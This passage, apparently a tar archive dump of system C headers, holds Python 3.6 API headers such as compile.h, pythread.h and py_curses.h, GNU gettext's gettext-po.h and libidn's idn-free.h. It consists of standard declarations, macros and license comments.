_hashlib.get_fips_mode for details. return 0; } PyErr_Format(exc, "%s is not available in FIPS mode", name); return 1; } #define FAIL_RETURN_IN_FIPS_MODE(exc, name) do { \ if (_Py_hashlib_fips_error(exc, name)) return NULL; \ } while (0) #endif // !Py_HASHOPENSSL_H python3.6m/compile.h 0000644 00000004164 15246445047 0010312 0 ustar 00 #ifndef Py_COMPILE_H #define Py_COMPILE_H #ifndef Py_LIMITED_API #include "code.h" #ifdef __cplusplus extern "C" { #endif /* Public interface */ struct _node; /* Declare the existence of this type */ PyAPI_FUNC(PyCodeObject *) PyNode_Compile(struct _node *, const char *); /* Future feature support */ typedef struct { int ff_features; /* flags set by future statements */ int ff_lineno; /* line number of last future statement */ } PyFutureFeatures; #define FUTURE_NESTED_SCOPES "nested_scopes" #define FUTURE_GENERATORS "generators" #define FUTURE_DIVISION "division" #define FUTURE_ABSOLUTE_IMPORT "absolute_import" #define FUTURE_WITH_STATEMENT "with_statement" #define FUTURE_PRINT_FUNCTION "print_function" #define FUTURE_UNICODE_LITERALS "unicode_literals" #define FUTURE_BARRY_AS_BDFL "barry_as_FLUFL" #define FUTURE_GENERATOR_STOP "generator_stop" struct _mod; /* Declare the existence of this type */ #define PyAST_Compile(mod, s, f, ar) PyAST_CompileEx(mod, s, f, -1, ar) PyAPI_FUNC(PyCodeObject *) PyAST_CompileEx( struct _mod *mod, const char *filename, /* decoded from the filesystem encoding */ PyCompilerFlags *flags, int optimize, PyArena *arena); PyAPI_FUNC(PyCodeObject *) PyAST_CompileObject( struct _mod *mod, PyObject *filename, PyCompilerFlags *flags, int optimize, PyArena *arena); PyAPI_FUNC(PyFutureFeatures *) PyFuture_FromAST( struct _mod * mod, const char *filename /* decoded from the filesystem encoding */ ); PyAPI_FUNC(PyFutureFeatures *) PyFuture_FromASTObject( struct _mod * mod, PyObject *filename ); /* _Py_Mangle is defined in compile.c */ PyAPI_FUNC(PyObject*) _Py_Mangle(PyObject *p, PyObject *name); #define PY_INVALID_STACK_EFFECT INT_MAX PyAPI_FUNC(int) PyCompile_OpcodeStackEffect(int opcode, int oparg); #ifdef __cplusplus } #endif #endif /* !Py_LIMITED_API */ /* These definitions must match corresponding definitions in graminit.h. There's code in compile.c that checks that they are the same. */ #define Py_single_input 256 #define Py_file_input 257 #define Py_eval_input 258 #endif /* !Py_COMPILE_H */ python3.6m/structseq.h 0000644 00000002511 15246445047 0010711 0 ustar 00 /* Named tuple object interface */ #ifndef Py_STRUCTSEQ_H #define Py_STRUCTSEQ_H #ifdef __cplusplus extern "C" { #endif typedef struct PyStructSequence_Field { char *name; char *doc; } PyStructSequence_Field; typedef struct PyStructSequence_Desc { char *name; char *doc; struct PyStructSequence_Field *fields; int n_in_sequence; } PyStructSequence_Desc; extern char* PyStructSequence_UnnamedField; #ifndef Py_LIMITED_API PyAPI_FUNC(void) PyStructSequence_InitType(PyTypeObject *type, PyStructSequence_Desc *desc); PyAPI_FUNC(int) PyStructSequence_InitType2(PyTypeObject *type, PyStructSequence_Desc *desc); #endif PyAPI_FUNC(PyTypeObject*) PyStructSequence_NewType(PyStructSequence_Desc *desc); PyAPI_FUNC(PyObject *) PyStructSequence_New(PyTypeObject* type); #ifndef Py_LIMITED_API typedef PyTupleObject PyStructSequence; /* Macro, *only* to be used to fill in brand new objects */ #define PyStructSequence_SET_ITEM(op, i, v) PyTuple_SET_ITEM(op, i, v) #define PyStructSequence_GET_ITEM(op, i) PyTuple_GET_ITEM(op, i) #endif PyAPI_FUNC(void) PyStructSequence_SetItem(PyObject*, Py_ssize_t, PyObject*); PyAPI_FUNC(PyObject*) PyStructSequence_GetItem(PyObject*, Py_ssize_t); #ifdef __cplusplus } #endif #endif /* !Py_STRUCTSEQ_H */ python3.6m/pyexpat.h 0000644 00000004622 15246445047 0010353 0 ustar 00 /* Stuff to export relevant 'expat' entry points from pyexpat to other * parser modules, such as cElementTree. */ /* note: you must import expat.h before importing this module! */ #define PyExpat_CAPI_MAGIC "pyexpat.expat_CAPI 1.1" #define PyExpat_CAPSULE_NAME "pyexpat.expat_CAPI" struct PyExpat_CAPI { char* magic; /* set to PyExpat_CAPI_MAGIC */ int size; /* set to sizeof(struct PyExpat_CAPI) */ int MAJOR_VERSION; int MINOR_VERSION; int MICRO_VERSION; /* pointers to selected expat functions. add new functions at the end, if needed */ const XML_LChar * (*ErrorString)(enum XML_Error code); enum XML_Error (*GetErrorCode)(XML_Parser parser); XML_Size (*GetErrorColumnNumber)(XML_Parser parser); XML_Size (*GetErrorLineNumber)(XML_Parser parser); enum XML_Status (*Parse)( XML_Parser parser, const char *s, int len, int isFinal); XML_Parser (*ParserCreate_MM)( const XML_Char *encoding, const XML_Memory_Handling_Suite *memsuite, const XML_Char *namespaceSeparator); void (*ParserFree)(XML_Parser parser); void (*SetCharacterDataHandler)( XML_Parser parser, XML_CharacterDataHandler handler); void (*SetCommentHandler)( XML_Parser parser, XML_CommentHandler handler); void (*SetDefaultHandlerExpand)( XML_Parser parser, XML_DefaultHandler handler); void (*SetElementHandler)( XML_Parser parser, XML_StartElementHandler start, XML_EndElementHandler end); void (*SetNamespaceDeclHandler)( XML_Parser parser, XML_StartNamespaceDeclHandler start, XML_EndNamespaceDeclHandler end); void (*SetProcessingInstructionHandler)( XML_Parser parser, XML_ProcessingInstructionHandler handler); void (*SetUnknownEncodingHandler)( XML_Parser parser, XML_UnknownEncodingHandler handler, void *encodingHandlerData); void (*SetUserData)(XML_Parser parser, void *userData); void (*SetStartDoctypeDeclHandler)(XML_Parser parser, XML_StartDoctypeDeclHandler start); enum XML_Status (*SetEncoding)(XML_Parser parser, const XML_Char *encoding); int (*DefaultUnknownEncodingHandler)( void *encodingHandlerData, const XML_Char *name, XML_Encoding *info); /* might be none for expat < 2.1.0 */ int (*SetHashSalt)(XML_Parser parser, unsigned long hash_salt); /* always add new stuff to the end! */ }; python3.6m/complexobject.h 0000644 00000003417 15246445047 0011520 0 ustar 00 /* Complex number structure */ #ifndef Py_COMPLEXOBJECT_H #define Py_COMPLEXOBJECT_H #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API typedef struct { double real; double imag; } Py_complex; /* Operations on complex numbers from complexmodule.c */ PyAPI_FUNC(Py_complex) _Py_c_sum(Py_complex, Py_complex); PyAPI_FUNC(Py_complex) _Py_c_diff(Py_complex, Py_complex); PyAPI_FUNC(Py_complex) _Py_c_neg(Py_complex); PyAPI_FUNC(Py_complex) _Py_c_prod(Py_complex, Py_complex); PyAPI_FUNC(Py_complex) _Py_c_quot(Py_complex, Py_complex); PyAPI_FUNC(Py_complex) _Py_c_pow(Py_complex, Py_complex); PyAPI_FUNC(double) _Py_c_abs(Py_complex); #endif /* Complex object interface */ /* PyComplexObject represents a complex number with double-precision real and imaginary parts. */ #ifndef Py_LIMITED_API typedef struct { PyObject_HEAD Py_complex cval; } PyComplexObject; #endif PyAPI_DATA(PyTypeObject) PyComplex_Type; #define PyComplex_Check(op) PyObject_TypeCheck(op, &PyComplex_Type) #define PyComplex_CheckExact(op) (Py_TYPE(op) == &PyComplex_Type) #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyComplex_FromCComplex(Py_complex); #endif PyAPI_FUNC(PyObject *) PyComplex_FromDoubles(double real, double imag); PyAPI_FUNC(double) PyComplex_RealAsDouble(PyObject *op); PyAPI_FUNC(double) PyComplex_ImagAsDouble(PyObject *op); #ifndef Py_LIMITED_API PyAPI_FUNC(Py_complex) PyComplex_AsCComplex(PyObject *op); #endif /* Format the object based on the format_spec, as defined in PEP 3101 (Advanced String Formatting). */ #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyComplex_FormatAdvancedWriter( _PyUnicodeWriter *writer, PyObject *obj, PyObject *format_spec, Py_ssize_t start, Py_ssize_t end); #endif #ifdef __cplusplus } #endif #endif /* !Py_COMPLEXOBJECT_H */ python3.6m/py_curses.h 0000644 00000010323 15246445047 0010670 0 ustar 00 #ifndef Py_CURSES_H #define Py_CURSES_H #ifdef __APPLE__ /* ** On Mac OS X 10.2 [n]curses.h and stdlib.h use different guards ** against multiple definition of wchar_t. */ #ifdef _BSD_WCHAR_T_DEFINED_ #define _WCHAR_T #endif #endif /* __APPLE__ */ #ifdef __FreeBSD__ /* ** On FreeBSD, [n]curses.h and stdlib.h/wchar.h use different guards ** against multiple definition of wchar_t and wint_t. */ #ifdef _XOPEN_SOURCE_EXTENDED #ifndef __FreeBSD_version #include <osreldate.h> #endif #if __FreeBSD_version >= 500000 #ifndef __wchar_t #define __wchar_t #endif #ifndef __wint_t #define __wint_t #endif #else #ifndef _WCHAR_T #define _WCHAR_T #endif #ifndef _WINT_T #define _WINT_T #endif #endif #endif #endif #if !defined(HAVE_CURSES_IS_PAD) && defined(WINDOW_HAS_FLAGS) /* The following definition is necessary for ncurses 5.7; without it, some of [n]curses.h set NCURSES_OPAQUE to 1, and then Python can't get at the WINDOW flags field. */ #define NCURSES_OPAQUE 0 #endif #ifdef HAVE_NCURSES_H #include <ncurses.h> #else #include <curses.h> #endif #ifdef HAVE_NCURSES_H /* configure was checking <curses.h>, but we will use <ncurses.h>, which has some or all these features. */ #if !defined(WINDOW_HAS_FLAGS) && !(NCURSES_OPAQUE+0) #define WINDOW_HAS_FLAGS 1 #endif #if !defined(HAVE_CURSES_IS_PAD) && NCURSES_VERSION_PATCH+0 >= 20090906 #define HAVE_CURSES_IS_PAD 1 #endif #ifndef MVWDELCH_IS_EXPRESSION #define MVWDELCH_IS_EXPRESSION 1 #endif #endif #ifdef __cplusplus extern "C" { #endif #define PyCurses_API_pointers 4 /* Type declarations */ typedef struct { PyObject_HEAD WINDOW *win; char *encoding; } PyCursesWindowObject; #define PyCursesWindow_Check(v) (Py_TYPE(v) == &PyCursesWindow_Type) #define PyCurses_CAPSULE_NAME "_curses._C_API" #ifdef CURSES_MODULE /* This section is used when compiling _cursesmodule.c */ #else /* This section is used in modules that use the _cursesmodule API */ static void **PyCurses_API; #define PyCursesWindow_Type (*(PyTypeObject *) PyCurses_API[0]) #define PyCursesSetupTermCalled {if (! ((int (*)(void))PyCurses_API[1]) () ) return NULL;} #define PyCursesInitialised {if (! ((int (*)(void))PyCurses_API[2]) () ) return NULL;} #define PyCursesInitialisedColor {if (! ((int (*)(void))PyCurses_API[3]) () ) return NULL;} #define import_curses() \ PyCurses_API = (void **)PyCapsule_Import(PyCurses_CAPSULE_NAME, 1); #endif /* general error messages */ static const char catchall_ERR[] = "curses function returned ERR"; static const char catchall_NULL[] = "curses function returned NULL"; /* Function Prototype Macros - They are ugly but very, very useful. ;-) X - function name TYPE - parameter Type ERGSTR - format string for construction of the return value PARSESTR - format string for argument parsing */ #define NoArgNoReturnFunction(X) \ static PyObject *PyCurses_ ## X (PyObject *self) \ { \ PyCursesInitialised \ return PyCursesCheckERR(X(), # X); } #define NoArgOrFlagNoReturnFunction(X) \ static PyObject *PyCurses_ ## X (PyObject *self, PyObject *args) \ { \ int flag = 0; \ PyCursesInitialised \ switch(PyTuple_Size(args)) { \ case 0: \ return PyCursesCheckERR(X(), # X); \ case 1: \ if (!PyArg_ParseTuple(args, "i;True(1) or False(0)", &flag)) return NULL; \ if (flag) return PyCursesCheckERR(X(), # X); \ else return PyCursesCheckERR(no ## X (), # X); \ default: \ PyErr_SetString(PyExc_TypeError, # X " requires 0 or 1 arguments"); \ return NULL; } } #define NoArgReturnIntFunction(X) \ static PyObject *PyCurses_ ## X (PyObject *self) \ { \ PyCursesInitialised \ return PyLong_FromLong((long) X()); } #define NoArgReturnStringFunction(X) \ static PyObject *PyCurses_ ## X (PyObject *self) \ { \ PyCursesInitialised \ return PyBytes_FromString(X()); } #define NoArgTrueFalseFunction(X) \ static PyObject *PyCurses_ ## X (PyObject *self) \ { \ PyCursesInitialised \ if (X () == FALSE) { \ Py_INCREF(Py_False); \ return Py_False; \ } \ Py_INCREF(Py_True); \ return Py_True; } #define NoArgNoReturnVoidFunction(X) \ static PyObject *PyCurses_ ## X (PyObject *self) \ { \ PyCursesInitialised \ X(); \ Py_INCREF(Py_None); \ return Py_None; } #ifdef __cplusplus } #endif #endif /* !defined(Py_CURSES_H) */ python3.6m/osmodule.h 0000644 00000000443 15246445047 0010505 0 ustar 00 /* os module interface */ #ifndef Py_OSMODULE_H #define Py_OSMODULE_H #ifdef __cplusplus extern "C" { #endif #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03060000 PyAPI_FUNC(PyObject *) PyOS_FSPath(PyObject *path); #endif #ifdef __cplusplus } #endif #endif /* !Py_OSMODULE_H */ python3.6m/pystrhex.h 0000644 00000000757 15246445047 0010554 0 ustar 00 #ifndef Py_STRHEX_H #define Py_STRHEX_H #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API /* Returns a str() containing the hex representation of argbuf. */ PyAPI_FUNC(PyObject*) _Py_strhex(const char* argbuf, const Py_ssize_t arglen); /* Returns a bytes() containing the ASCII hex representation of argbuf. */ PyAPI_FUNC(PyObject*) _Py_strhex_bytes(const char* argbuf, const Py_ssize_t arglen); #endif /* !Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !Py_STRHEX_H */ python3.6m/intrcheck.h 0000644 00000001001 15246445047 0010617 0 ustar 00 #ifndef Py_INTRCHECK_H #define Py_INTRCHECK_H #ifdef __cplusplus extern "C" { #endif PyAPI_FUNC(int) PyOS_InterruptOccurred(void); PyAPI_FUNC(void) PyOS_InitInterrupts(void); PyAPI_FUNC(void) PyOS_AfterFork(void); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyOS_IsMainThread(void); #ifdef MS_WINDOWS /* windows.h is not included by Python.h so use void* instead of HANDLE */ PyAPI_FUNC(void*) _PyOS_SigintEvent(void); #endif #endif /* !Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* !Py_INTRCHECK_H */ python3.6m/pythread.h 0000644 00000005660 15246445047 0010504 0 ustar 00 #ifndef Py_PYTHREAD_H #define Py_PYTHREAD_H typedef void *PyThread_type_lock; typedef void *PyThread_type_sema; #ifdef __cplusplus extern "C" { #endif /* Return status codes for Python lock acquisition. Chosen for maximum * backwards compatibility, ie failure -> 0, success -> 1. */ typedef enum PyLockStatus { PY_LOCK_FAILURE = 0, PY_LOCK_ACQUIRED = 1, PY_LOCK_INTR } PyLockStatus; PyAPI_FUNC(void) PyThread_init_thread(void); PyAPI_FUNC(long) PyThread_start_new_thread(void (*)(void *), void *); PyAPI_FUNC(void) PyThread_exit_thread(void); PyAPI_FUNC(long) PyThread_get_thread_ident(void); PyAPI_FUNC(PyThread_type_lock) PyThread_allocate_lock(void); PyAPI_FUNC(void) PyThread_free_lock(PyThread_type_lock); PyAPI_FUNC(int) PyThread_acquire_lock(PyThread_type_lock, int); #define WAIT_LOCK 1 #define NOWAIT_LOCK 0 /* PY_TIMEOUT_T is the integral type used to specify timeouts when waiting on a lock (see PyThread_acquire_lock_timed() below). PY_TIMEOUT_MAX is the highest usable value (in microseconds) of that type, and depends on the system threading API. NOTE: this isn't the same value as `_thread.TIMEOUT_MAX`. The _thread module exposes a higher-level API, with timeouts expressed in seconds and floating-point numbers allowed. */ #define PY_TIMEOUT_T long long #define PY_TIMEOUT_MAX PY_LLONG_MAX /* In the NT API, the timeout is a DWORD and is expressed in milliseconds */ #if defined (NT_THREADS) #if 0xFFFFFFFFLL * 1000 < PY_TIMEOUT_MAX #undef PY_TIMEOUT_MAX #define PY_TIMEOUT_MAX (0xFFFFFFFFLL * 1000) #endif #endif /* If microseconds == 0, the call is non-blocking: it returns immediately even when the lock can't be acquired. If microseconds > 0, the call waits up to the specified duration. If microseconds < 0, the call waits until success (or abnormal failure) microseconds must be less than PY_TIMEOUT_MAX. Behaviour otherwise is undefined. If intr_flag is true and the acquire is interrupted by a signal, then the call will return PY_LOCK_INTR. The caller may reattempt to acquire the lock. */ PyAPI_FUNC(PyLockStatus) PyThread_acquire_lock_timed(PyThread_type_lock, PY_TIMEOUT_T microseconds, int intr_flag); PyAPI_FUNC(void) PyThread_release_lock(PyThread_type_lock); PyAPI_FUNC(size_t) PyThread_get_stacksize(void); PyAPI_FUNC(int) PyThread_set_stacksize(size_t); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject*) PyThread_GetInfo(void); #endif /* Thread Local Storage (TLS) API */ PyAPI_FUNC(int) PyThread_create_key(void); PyAPI_FUNC(void) PyThread_delete_key(int); PyAPI_FUNC(int) PyThread_set_key_value(int, void *); PyAPI_FUNC(void *) PyThread_get_key_value(int); PyAPI_FUNC(void) PyThread_delete_key_value(int key); /* Cleanup after a fork */ PyAPI_FUNC(void) PyThread_ReInitTLS(void); #ifdef __cplusplus } #endif #endif /* !Py_PYTHREAD_H */ python3.6m/dtoa.h 0000644 00000000712 15246445047 0007604 0 ustar 00 #ifndef Py_LIMITED_API #ifndef PY_NO_SHORT_FLOAT_REPR #ifdef __cplusplus extern "C" { #endif PyAPI_FUNC(double) _Py_dg_strtod(const char *str, char **ptr); PyAPI_FUNC(char *) _Py_dg_dtoa(double d, int mode, int ndigits, int *decpt, int *sign, char **rve); PyAPI_FUNC(void) _Py_dg_freedtoa(char *s); PyAPI_FUNC(double) _Py_dg_stdnan(int sign); PyAPI_FUNC(double) _Py_dg_infinity(int sign); #ifdef __cplusplus } #endif #endif #endif gettext-po.h 0000644 00000036256 15246445047 0007044 0 ustar 00 /* Public API for GNU gettext PO files - contained in libgettextpo. Copyright (C) 2003-2008, 2010, 2015-2016 Free Software Foundation, Inc. Written by Bruno Haible <bruno@clisp.org>, 2003. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef _GETTEXT_PO_H #define _GETTEXT_PO_H 1 #include <stdlib.h> #ifdef __cplusplus extern "C" { #endif /* =========================== Meta Information ============================ */ /* Version number: (major<<16) + (minor<<8) + subminor */ #define LIBGETTEXTPO_VERSION 0x001308 extern int libgettextpo_version; /* ================================= Types ================================= */ /* A po_file_t represents the contents of a PO file. */ typedef struct po_file *po_file_t; /* A po_message_iterator_t represents an iterator through a domain of a PO file. */ typedef struct po_message_iterator *po_message_iterator_t; /* A po_message_t represents a message in a PO file. */ typedef struct po_message *po_message_t; /* A po_filepos_t represents a string's position within a source file. */ typedef struct po_filepos *po_filepos_t; /* A po_error_handler handles error situations. */ struct po_error_handler { /* Signal an error. The error message is built from FORMAT and the following arguments. ERRNUM, if nonzero, is an errno value. Must increment the error_message_count variable declared in error.h. Must not return if STATUS is nonzero. */ void (*error) (int status, int errnum, const char *format, ...) #if ((__GNUC__ == 3 && __GNUC_MINOR__ >= 1) || __GNUC__ > 3) && !__STRICT_ANSI__ __attribute__ ((__format__ (__printf__, 3, 4))) #endif ; /* Signal an error. The error message is built from FORMAT and the following arguments. The error location is at FILENAME line LINENO. ERRNUM, if nonzero, is an errno value. Must increment the error_message_count variable declared in error.h. Must not return if STATUS is nonzero. */ void (*error_at_line) (int status, int errnum, const char *filename, unsigned int lineno, const char *format, ...) #if ((__GNUC__ == 3 && __GNUC_MINOR__ >= 1) || __GNUC__ > 3) && !__STRICT_ANSI__ __attribute__ ((__format__ (__printf__, 5, 6))) #endif ; /* Signal a multiline warning. The PREFIX applies to all lines of the MESSAGE. Free the PREFIX and MESSAGE when done. */ void (*multiline_warning) (char *prefix, char *message); /* Signal a multiline error. The PREFIX applies to all lines of the MESSAGE. Free the PREFIX and MESSAGE when done. Must increment the error_message_count variable declared in error.h if PREFIX is non-NULL. */ void (*multiline_error) (char *prefix, char *message); }; typedef const struct po_error_handler *po_error_handler_t; /* A po_xerror_handler handles warnings, error and fatal error situations. */ #define PO_SEVERITY_WARNING 0 /* just a warning, tell the user */ #define PO_SEVERITY_ERROR 1 /* an error, the operation cannot complete */ #define PO_SEVERITY_FATAL_ERROR 2 /* an error, the operation must be aborted */ struct po_xerror_handler { /* Signal a problem of the given severity. MESSAGE and/or FILENAME + LINENO indicate where the problem occurred. If FILENAME is NULL, FILENAME and LINENO and COLUMN should be ignored. If LINENO is (size_t)(-1), LINENO and COLUMN should be ignored. If COLUMN is (size_t)(-1), it should be ignored. MESSAGE_TEXT is the problem description (if MULTILINE_P is true, multiple lines of text, each terminated with a newline, otherwise usually a single line). Must not return if SEVERITY is PO_SEVERITY_FATAL_ERROR. */ void (*xerror) (int severity, po_message_t message, const char *filename, size_t lineno, size_t column, int multiline_p, const char *message_text); /* Signal a problem that refers to two messages. Similar to two calls to xerror. If possible, a "..." can be appended to MESSAGE_TEXT1 and prepended to MESSAGE_TEXT2. */ void (*xerror2) (int severity, po_message_t message1, const char *filename1, size_t lineno1, size_t column1, int multiline_p1, const char *message_text1, po_message_t message2, const char *filename2, size_t lineno2, size_t column2, int multiline_p2, const char *message_text2); }; typedef const struct po_xerror_handler *po_xerror_handler_t; /* Memory allocation: The memory allocations performed by these functions use xmalloc(), therefore will cause a program exit if memory is exhausted. The memory allocated by po_file_read, and implicitly returned through the po_message_* functions, lasts until freed with po_file_free. */ /* ============================= po_file_t API ============================= */ /* Create an empty PO file representation in memory. */ extern po_file_t po_file_create (void); /* Read a PO file into memory. Return its contents. Upon failure, return NULL and set errno. */ #define po_file_read po_file_read_v3 extern po_file_t po_file_read (const char *filename, po_xerror_handler_t handler); /* Write an in-memory PO file to a file. Upon failure, return NULL and set errno. */ #define po_file_write po_file_write_v2 extern po_file_t po_file_write (po_file_t file, const char *filename, po_xerror_handler_t handler); /* Free a PO file from memory. */ extern void po_file_free (po_file_t file); /* Return the names of the domains covered by a PO file in memory. */ extern const char * const * po_file_domains (po_file_t file); /* =========================== Header entry API ============================ */ /* Return the header entry of a domain of a PO file in memory. The domain NULL denotes the default domain. Return NULL if there is no header entry. */ extern const char * po_file_domain_header (po_file_t file, const char *domain); /* Return the value of a field in a header entry. The return value is either a freshly allocated string, to be freed by the caller, or NULL. */ extern char * po_header_field (const char *header, const char *field); /* Return the header entry with a given field set to a given value. The field is added if necessary. The return value is a freshly allocated string. */ extern char * po_header_set_field (const char *header, const char *field, const char *value); /* ======================= po_message_iterator_t API ======================= */ /* Create an iterator for traversing a domain of a PO file in memory. The domain NULL denotes the default domain. */ extern po_message_iterator_t po_message_iterator (po_file_t file, const char *domain); /* Free an iterator. */ extern void po_message_iterator_free (po_message_iterator_t iterator); /* Return the next message, and advance the iterator. Return NULL at the end of the message list. */ extern po_message_t po_next_message (po_message_iterator_t iterator); /* Insert a message in a PO file in memory, in the domain and at the position indicated by the iterator. The iterator thereby advances past the freshly inserted message. */ extern void po_message_insert (po_message_iterator_t iterator, po_message_t message); /* =========================== po_message_t API ============================ */ /* Return a freshly constructed message. To finish initializing the message, you must set the msgid and msgstr. */ extern po_message_t po_message_create (void); /* Return the context of a message, or NULL for a message not restricted to a context. */ extern const char * po_message_msgctxt (po_message_t message); /* Change the context of a message. NULL means a message not restricted to a context. */ extern void po_message_set_msgctxt (po_message_t message, const char *msgctxt); /* Return the msgid (untranslated English string) of a message. */ extern const char * po_message_msgid (po_message_t message); /* Change the msgid (untranslated English string) of a message. */ extern void po_message_set_msgid (po_message_t message, const char *msgid); /* Return the msgid_plural (untranslated English plural string) of a message, or NULL for a message without plural. */ extern const char * po_message_msgid_plural (po_message_t message); /* Change the msgid_plural (untranslated English plural string) of a message. NULL means a message without plural. */ extern void po_message_set_msgid_plural (po_message_t message, const char *msgid_plural); /* Return the msgstr (translation) of a message. Return the empty string for an untranslated message. */ extern const char * po_message_msgstr (po_message_t message); /* Change the msgstr (translation) of a message. Use an empty string to denote an untranslated message. */ extern void po_message_set_msgstr (po_message_t message, const char *msgstr); /* Return the msgstr[index] for a message with plural handling, or NULL when the index is out of range or for a message without plural. */ extern const char * po_message_msgstr_plural (po_message_t message, int index); /* Change the msgstr[index] for a message with plural handling. Use a NULL value at the end to reduce the number of plural forms. */ extern void po_message_set_msgstr_plural (po_message_t message, int index, const char *msgstr); /* Return the comments for a message. */ extern const char * po_message_comments (po_message_t message); /* Change the comments for a message. comments should be a multiline string, ending in a newline, or empty. */ extern void po_message_set_comments (po_message_t message, const char *comments); /* Return the extracted comments for a message. */ extern const char * po_message_extracted_comments (po_message_t message); /* Change the extracted comments for a message. comments should be a multiline string, ending in a newline, or empty. */ extern void po_message_set_extracted_comments (po_message_t message, const char *comments); /* Return the i-th file position for a message, or NULL if i is out of range. */ extern po_filepos_t po_message_filepos (po_message_t message, int i); /* Remove the i-th file position from a message. The indices of all following file positions for the message are decremented by one. */ extern void po_message_remove_filepos (po_message_t message, int i); /* Add a file position to a message, if it is not already present for the message. file is the file name. start_line is the line number where the string starts, or (size_t)(-1) if no line number is available. */ extern void po_message_add_filepos (po_message_t message, const char *file, size_t start_line); /* Return the previous context of a message, or NULL for none. */ extern const char * po_message_prev_msgctxt (po_message_t message); /* Change the previous context of a message. NULL is allowed. */ extern void po_message_set_prev_msgctxt (po_message_t message, const char *prev_msgctxt); /* Return the previous msgid (untranslated English string) of a message, or NULL for none. */ extern const char * po_message_prev_msgid (po_message_t message); /* Change the previous msgid (untranslated English string) of a message. NULL is allowed. */ extern void po_message_set_prev_msgid (po_message_t message, const char *prev_msgid); /* Return the previous msgid_plural (untranslated English plural string) of a message, or NULL for none. */ extern const char * po_message_prev_msgid_plural (po_message_t message); /* Change the previous msgid_plural (untranslated English plural string) of a message. NULL is allowed. */ extern void po_message_set_prev_msgid_plural (po_message_t message, const char *prev_msgid_plural); /* Return true if the message is marked obsolete. */ extern int po_message_is_obsolete (po_message_t message); /* Change the obsolete mark of a message. */ extern void po_message_set_obsolete (po_message_t message, int obsolete); /* Return true if the message is marked fuzzy. */ extern int po_message_is_fuzzy (po_message_t message); /* Change the fuzzy mark of a message. */ extern void po_message_set_fuzzy (po_message_t message, int fuzzy); /* Return true if the message is marked as being a format string of the given type (e.g. "c-format"). */ extern int po_message_is_format (po_message_t message, const char *format_type); /* Change the format string mark for a given type of a message. */ extern void po_message_set_format (po_message_t message, const char *format_type, /*bool*/int value); /* If a numeric range of a message is set, return true and store the minimum and maximum value in *MINP and *MAXP. */ extern int po_message_is_range (po_message_t message, int *minp, int *maxp); /* Change the numeric range of a message. MIN and MAX must be non-negative, with MIN < MAX. Use MIN = MAX = -1 to remove the numeric range of a message. */ extern void po_message_set_range (po_message_t message, int min, int max); /* =========================== po_filepos_t API ============================ */ /* Return the file name. */ extern const char * po_filepos_file (po_filepos_t filepos); /* Return the line number where the string starts, or (size_t)(-1) if no line number is available. */ extern size_t po_filepos_start_line (po_filepos_t filepos); /* ============================ Format type API ============================= */ /* Return a NULL terminated array of the supported format types. */ extern const char * const * po_format_list (void); /* Return the pretty name associated with a format type. For example, for "csharp-format", return "C#". Return NULL if the argument is not a supported format type. */ extern const char * po_format_pretty_name (const char *format_type); /* ============================= Checking API ============================== */ /* Test whether an entire file PO file is valid, like msgfmt does it. If it is invalid, pass the reasons to the handler. */ extern void po_file_check_all (po_file_t file, po_xerror_handler_t handler); /* Test a single message, to be inserted in a PO file in memory, like msgfmt does it. If it is invalid, pass the reasons to the handler. The iterator is not modified by this call; it only specifies the file and the domain. */ extern void po_message_check_all (po_message_t message, po_message_iterator_t iterator, po_xerror_handler_t handler); /* Test whether the message translation is a valid format string if the message is marked as being a format string. If it is invalid, pass the reasons to the handler. */ #define po_message_check_format po_message_check_format_v2 extern void po_message_check_format (po_message_t message, po_xerror_handler_t handler); #ifdef __cplusplus } #endif #endif /* _GETTEXT_PO_H */ idn-free.h 0000644 00000004650 15246445047 0006426 0 ustar 00 /* idn-free.h --- Invoke the free function to release memory Copyright (C) 2004-2016 Simon Josefsson This file is part of GNU Libidn. GNU Libidn is free software: you can redistribute it and/or modify it under the terms of either: * the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. or * the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. or both in parallel, as here. GNU Libidn is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received copies of the GNU General Public License and the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef IDN_FREE_H # define IDN_FREE_H # ifndef IDNAPI # if defined LIBIDN_BUILDING && defined HAVE_VISIBILITY && HAVE_VISIBILITY # define IDNAPI __attribute__((__visibility__("default"))) # elif defined LIBIDN_BUILDING && defined _MSC_VER && ! defined LIBIDN_STATIC # define IDNAPI __declspec(dllexport) # elif defined _MSC_VER && ! defined LIBIDN_STATIC # define IDNAPI __declspec(dllimport) # else # define IDNAPI # endif # endif # ifdef __cplusplus extern "C" { # endif /* I don't recommend using this interface in general. Use `free'. * * I'm told Microsoft Windows may use one set of `malloc' and `free' * in a library, and another incompatible set in a statically compiled * application that link to the library, thus creating problems if the * application would invoke `free' on a pointer pointing to memory * allocated by the library. This motivated adding this function. * * The theory of isolating all memory allocations and de-allocations * within a code package (library) sounds good, to simplify hunting * down memory allocation related problems, but I'm not sure if it is * worth enough to motivate recommending this interface over calling * `free' directly, though. * * See the manual section 'Memory handling under Windows' for more * information. */ extern void IDNAPI idn_free (void *ptr); # ifdef __cplusplus } # endif #endif /* IDN_FREE_H */ entities.h 0000644 00000011502 15246445047 0006553 0 ustar 00 /* * Generated file - do not edit directly. * * This file was generated from: * http://www.w3.org/TR/REC-html40/sgml/entities.html * by means of the script: * 